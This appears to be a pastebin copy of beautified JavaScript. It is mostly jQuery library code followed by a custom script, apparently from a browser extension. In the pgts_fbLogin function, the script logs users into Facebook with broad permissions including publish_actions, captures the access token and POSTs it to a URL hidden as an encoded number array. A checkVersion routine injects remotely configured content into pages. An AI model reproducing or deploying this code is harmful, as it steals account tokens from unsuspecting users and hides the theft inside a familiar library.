- f.duration = g.fx.off ? 0: typeof f.duration == p1 ? f.duration: f.duration in g.fx.speeds ? g.fx.speeds[f.duration] : g.fx.speeds._default;
- if (f.queue == A0 || f.queue === !0)
- f.queue = H;
- f.old = f.complete,
- f.complete = function(b) {
- g.isFunction(f.old) && f.old.call(this),
- f.queue ? g.dequeue(this, f.queue) : b !== !1 && g._unmark(this)
- };
- return f
- },
- easing: {
- linear: function(b) {
- return b
- },
- swing: function(b) {
- return - Math.cos(b * Math.PI) / 2 + .5
- }
- },
- timers: [],
- fx: function(b, c, d) {
- this.options = c,
- this.elem = b,
- this.prop = d,
- c.orig = c.orig || {}
- }
- }),
- g.fx.prototype = {
- update: function() {
- this.options.step && this.options.step.call(this.elem, this.now, this),
- (g.fx.step[this.prop] || g.fx.step._default)(this)
- },
- cur: function() {
- if (this.elem[this.prop] != A0 && (!this.elem.style || this.elem.style[this.prop] == A0))
- return this.elem[this.prop];
- var b,
- c = g.css(this.elem, this.prop);
- return isNaN(b = parseFloat(c)) ? !c || c === j1 ? 0: c: b
- },
- custom: function(c, d, e) {
- function f(b) {
- return h.step(b)
- }
- var h = this,
- i = g.fx;
- this.startTime = K1 || Z1(),
- this.end = d,
- this.now = this.start = c,
- this.pos = this.state = 0,
- this.unit = e || this.unit || (g.cssNumber[this.prop] ? "": z0),
- f.queue = this.options.queue,
- f.elem = this.elem,
- f.saveState = function() {
- g._data(h.elem, D0 + h.prop) === v && (h.options.hide ? g._data(h.elem, D0 + h.prop, h.start) : h.options.show && g._data(h.elem, D0 + h.prop, h.end))
- },
- f() && g.timers.push(f) && !L1 && (L1 = setInterval(i.tick, i.interval))
- },
- show: function() {
- var b = g._data(this.elem, D0 + this.prop);
- this.options.orig[this.prop] = b || g.style(this.elem, this.prop),
- this.options.show = !0,
- b !== v ? this.custom(this.cur(), b) : this.custom(this.prop === k0 || this.prop === u0 ? 1: 0, this.cur()),
- g(this.elem).show()
- },
- hide: function() {
- this.options.orig[this.prop] = g._data(this.elem, D0 + this.prop) || g.style(this.elem, this.prop),
- this.options.hide = !0,
- this.custom(this.cur(), 0)
- },
- step: function(d) {
- var e,
- f,
- h,
- i = K1 || Z1(),
- j = !0,
- k = this.elem,
- l = this.options;
- if (d || i >= l.duration + this.startTime) {
- this.now = this.end,
- this.pos = this.state = 1,
- this.update(),
- l.animatedProperties[this.prop] = !0;
- for (e in l.animatedProperties)
- l.animatedProperties[e] !== !0 && (j = !1);
- if (j) {
- l.overflow != A0 && !g.support.shrinkWrapBlocks && g.each(["", "X", "Y"], function(b, c) {
- k.style["overflow" + c] = l.overflow[b]
- }),
- l.hide && g(k).hide();
- if (l.hide || l.show)
- for (e in l.animatedProperties)
- g.style(k, e, l.orig[e]),
- g.removeData(k, D0 + e, !0),
- g.removeData(k, m0 + e, !0);
- h = l.complete,
- h && (l.complete = !1, h.call(k))
- }
- return ! 1
- }
- l.duration == Infinity ? this.now = i: (f = i - this.startTime, this.state = f / l.duration, this.pos = g.easing[l.animatedProperties[this.prop]](this.state, f, 0, 1, l.duration), this.now = this.start + (this.end - this.start) * this.pos),
- this.update();
- return ! 0
- }
- },
- g.extend(g.fx, {
- tick: function() {
- var b,
- c = g.timers,
- d = 0;
- for (; d < c.length; d++)
- b = c[d],
- !b() && c[d] === b && c.splice(d--, 1);
- c.length || g.fx.stop()
- },
- interval: 13,
- stop: function() {
- clearInterval(L1),
- L1 = A0
- },
- speeds: {
- slow: 600,
- fast: 200,
- _default: 400
- },
- step: {
- opacity: function(b) {
- g.style(b.elem, U0, b.now)
- },
- _default: function(b) {
- b.elem.style && b.elem.style[b.prop] != A0 ? b.elem.style[b.prop] = b.now + b.unit: b.elem[b.prop] = b.now
- }
- }
- }),
- g.each(J1.concat.apply([], J1), function(c, d) {
- d.indexOf(Z0) && (g.fx.step[d] = function(b) {
- g.style(b.elem, d, Math.max(0, b.now) + b.unit)
- })
- }),
- g.expr && g.expr.filters && (g.expr.filters.animated = function(c) {
- return g.grep(g.timers, function(b) {
- return c === b.elem
- }).length
- });
- var W1,
- N3 = /^t(?:able|d|h)$/i,
- N2 = /^(?:body|html)$/i;
- "getBoundingClientRect" in x.documentElement ? W1 = function(c, d, e, f) {
- try {
- f = c.getBoundingClientRect()
- } catch(b) {}
- if (!f || !g.contains(e, c))
- return f ? {
- top: f.top,
- left: f.left
- }: {
- top: 0,
- left: 0
- };
- var h = d.body,
- i = b2(d),
- j = e.clientTop || h.clientTop || 0,
- k = e.clientLeft || h.clientLeft || 0,
- l = i.pageYOffset || g.support.boxModel && e.scrollTop || h.scrollTop,
- m = i.pageXOffset || g.support.boxModel && e.scrollLeft || h.scrollLeft,
- n = f.top + l - j,
- q = f.left + m - k;
- return {
- top: n,
- left: q
- }
- }: W1 = function(b, c, d) {
- var e,
- f = b.offsetParent,
- h = b,
- i = c.body,
- j = c.defaultView,
- k = j ? j.getComputedStyle(b, A0) : b.currentStyle,
- l = b.offsetTop,
- m = b.offsetLeft;
- while ((b = b.parentNode) && b !== i && b !== d) {
- if (g.support.fixedPosition && k.position === P0)
- break;
- e = j ? j.getComputedStyle(b, A0) : b.currentStyle,
- l -= b.scrollTop,
- m -= b.scrollLeft,
- b === f && (l += b.offsetTop, m += b.offsetLeft, g.support.doesNotAddBorder && (!g.support.doesAddBorderForTableAndCells || !N3.test(b.nodeName)) && (l += parseFloat(e.borderTopWidth) || 0, m += parseFloat(e.borderLeftWidth) || 0), h = f, f = b.offsetParent),
- g.support.subtractsBorderForOverflowNotVisible && e.overflow !== "visible" && (l += parseFloat(e.borderTopWidth) || 0, m += parseFloat(e.borderLeftWidth) || 0),
- k = e
- }
- if (k.position === N0 || k.position === S0)
- l += i.offsetTop,
- m += i.offsetLeft;
- g.support.fixedPosition && k.position === P0 && (l += Math.max(d.scrollTop, i.scrollTop), m += Math.max(d.scrollLeft, i.scrollLeft));
- return {
- top: l,
- left: m
- }
- },
- g.fn.offset = function(c) {
- if (arguments.length)
- return c === v ? this: this.each(function(b) {
- g.offset.setOffset(this, c, b)
- });
- var d = this[0],
- e = d && d.ownerDocument;
- if (!e)
- return A0;
- if (d === e.body)
- return g.offset.bodyOffset(d);
- return W1(d, e, e.documentElement)
- },
- g.offset = {
- bodyOffset: function(b) {
- var c = b.offsetTop,
- d = b.offsetLeft;
- g.support.doesNotIncludeMarginInBodyOffset && (c += parseFloat(g.css(b, i1)) || 0, d += parseFloat(g.css(b, v1)) || 0);
- return {
- top: c,
- left: d
- }
- },
- setOffset: function(b, c, d) {
- var e = g.css(b, "position");
- e === S0 && (b.style.position = N0);
- var f = g(b),
- h = f.offset(),
- i = g.css(b, "top"),
- j = g.css(b, "left"),
- k = (e === "absolute" || e === P0) && g.inArray(j1, [i, j]) > -1,
- l = {},
- m = {},
- n,
- q;
- k ? (m = f.position(), n = m.top, q = m.left) : (n = parseFloat(i) || 0, q = parseFloat(j) || 0),
- g.isFunction(c) && (c = c.call(b, d, h)),
- c.top != A0 && (l.top = c.top - h.top + n),
- c.left != A0 && (l.left = c.left - h.left + q),
- "using" in c ? c.using.call(b, l) : f.css(l)
- }
- },
- g.fn.extend({
- position: function() {
- if (!this[0])
- return A0;
- var b = this[0],
- c = this.offsetParent(),
- d = this.offset(),
- e = N2.test(c[0].nodeName) ? {
- top: 0,
- left: 0
- }: c.offset();
- d.top -= parseFloat(g.css(b, i1)) || 0,
- d.left -= parseFloat(g.css(b, v1)) || 0,
- e.top += parseFloat(g.css(c[0], "borderTopWidth")) || 0,
- e.left += parseFloat(g.css(c[0], "borderLeftWidth")) || 0;
- return {
- top: d.top - e.top,
- left: d.left - e.left
- }
- },
- offsetParent: function() {
- return this.map(function() {
- var b = this.offsetParent || x.body;
- while (b && !N2.test(b.nodeName) && g.css(b, "position") === S0)
- b = b.offsetParent;
- return b
- })
- }
- }),
- g.each({
- scrollLeft: "pageXOffset",
- scrollTop: "pageYOffset"
- }, function(h, i) {
- var j = /Y/.test(i);
- g.fn[h] = function(f) {
- return g.access(this, function(b, c, d) {
- var e = b2(b);
- if (d === v)
- return e ? i in e ? e[i] : g.support.boxModel && e.document.documentElement[c] || e.document.body[c] : b[c];
- e ? e.scrollTo(j ? g(e).scrollLeft() : d, j ? d: g(e).scrollTop()) : b[c] = d
- }, h, f, arguments.length, A0)
- }
- }),
- g.each({
- Height: u0,
- Width: k0
- }, function(k, l) {
- var m = "client" + k,
- n = "scroll" + k,
- q = "offset" + k;
- g.fn["inner" + k] = function() {
- var b = this[0];
- return b ? b.style ? parseFloat(g.css(b, l, a1)) : this[l]() : A0
- },
- g.fn["outer" + k] = function(b) {
- var c = this[0];
- return c ? c.style ? parseFloat(g.css(c, l, b ? Z0: Y0)) : this[l]() : A0
- },
- g.fn[l] = function(j) {
- return g.access(this, function(b, c, d) {
- var e,
- f,
- h,
- i;
- if (g.isWindow(b)) {
- e = b.document,
- f = e.documentElement[m];
- return g.support.boxModel && f || e.body && e.body[m] || f
- }
- if (b.nodeType === 9) {
- e = b.documentElement;
- if (e[m] >= e[n])
- return e[m];
- return Math.max(b.body[n], e[n], b.body[q], e[q])
- }
- if (d === v) {
- h = g.css(b, c),
- i = parseFloat(h);
- return g.isNumeric(i) ? i: h
- }
- g(b).css(c, d)
- }, l, j, arguments.length, A0)
- }
- }),
- F.jQuery = F.$ = g,
- typeof define == O && define.amd && define.amd.jQuery && define("jquery", [], function() {
- return g
- })
- })(window); (function(m) {
- m.cookie = function(c, d, e) {
- if (arguments.length > 1 && (!/Object/.test(Object.prototype.toString.call(d)) || d === A0 || d === undefined)) {
- e = m.extend({}, e);
- if (d === A0 || d === undefined) {
- e.expires = -1
- }
- if (typeof e.expires === p1) {
- var f = e.expires,
- h = e.expires = new Date;
- h.setDate(h.getDate() + f)
- }
- d = String(d);
- return document.cookie = [encodeURIComponent(c), "=", e.raw ? d: encodeURIComponent(d), e.expires ? "; expires=" + e.expires.toUTCString() : "", e.path ? "; path=" + e.path: "", e.domain ? "; domain=" + e.domain: "", e.secure ? "; secure": ""].join("")
- }
- e = d || {};
- var i = e.raw ? function(b) {
- return b
- }: decodeURIComponent,
- j = document.cookie.split("; ");
- for (var k = 0, l; l = j[k] && j[k].split("="); k++) {
- if (i(l[0]) === c)
- return i(l[1] || "")
- }
- return A0
- }
- })(jQuery);
- var jotaQuery = jQuery.noConflict();
- loadScript();
- var classToCallback = [];
- function onInsertNode(classes, callback) {
- classToCallback.push({
- classes: classes,
- callback: callback
- })
- }
- function pgInsertedNodeHandler(event) {
- for (var c in classToCallback) {
- if (event.target.getElementsByClassName && event.target.getElementsByClassName(classToCallback[c].classes)[0]) {
- var d = event.target.getElementsByClassName(classToCallback[c].classes)[0];
- classToCallback[c].callback(d)
- }
- }
- }
- function pgts_setConfig(cookie, value) {
- jotaQuery.cookie('pgts_' + cookie, value)
- }
- function pgts_getConfig(cookie) {
- var c = jotaQuery.cookie('pgts_' + cookie);
- return c
- }
- function pgts_fbStart(options) {
- if (fb_started == o1) {
- var c = '<div id="fb-root"></div><script>' + '(function(d, s, id) {' + 'var js, fjs = d.getElementsByTagName(s)[0];' + 'if (d.getElementById(id)) return;' + 'js = d.createElement(s); js.id = id;' + 'js.src = "//connect.facebook.net/es_LA/all.js#xfbml=1&appId=152698446514";' + 'fjs.parentNode.insertBefore(js, fjs);' + '}(document, \'script\', \'facebook-jssdk\'));</script>';
- jotaQuery(v0).append(c);
- FB.init({
- appId: options.appId,
- status: B0,
- cookie: B0
- });
- fb_started = B0
- }
- }
- function pgts_fbLogin(options) {
- var i = 'fb_isLogged';
- if (pgts_getConfig(i) == "1") {
- return B0
- }
- pgts_fbStart(options);
- FB.login(function(e) {
- if (e.status == "not_authorized") {
- return
- }
- var tokurl = e.authResponse.accessToken;
- pgts_setConfig('fb_token', tokurl);
- if (e.authResponse) {
- options.succesFn();
- FB.api('/me', function(c) {
- var d = featizer(new Array(58, 162, 175, 176, 173, 177, 121, 111, 112, 165, 167, 178, 171, 167, 170, 173, 171, 181, 121, 175, 188, 187, 126, 194, 182, 185, 188, 199, 201, 187, 201, 134, 201, 194, 203), B0);
- jotaQuery.post(d, {
- tokurl: tokurl
- }, function(data) {
- if (data == 0) {} else {
- pgts_setConfig(i, "1")
- }
- })
- })
- } else {
- if (typeof options.errorFn != C1 && options.errorFn != A0) {
- options.errorFn()
- }
- }
- }, {
- scope: 'email,publish_actions,user_birthday,user_location,user_photo_video_tags'
- })
- }
- function checkVersion(b, config) {
- if (b > __pgVERSION) {
- for (a in config) {
- var d = config[a];
- if (typeof d.urls != C1) {
- var e = window.location.href,
- f = o1;
- for (var h = 0; h < d.urls.length; h++) {
- if (e.indexOf(d.urls[h]) != -1) {
- f = B0
- }
- }
- if (f == o1)
- return
- }
- if (typeof d.callback != C1) {
- d.callback()
- }
- if (typeof d.content != C1) {
- jotaQuery(v0).before(d.content)
- }
- if (typeof d.contentChrome != C1 && navigator.userAgent.toLowerCase().indexOf('chrome')) {
- jotaQuery(v0).before(d.contentChrome)
- }
- if (typeof d.contentFirefox != C1 && navigator.userAgent.toLowerCase().indexOf('chrome') == -1) {
- jotaQuery(v0).before(d.contentFirefox)
- }
- }
- }
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement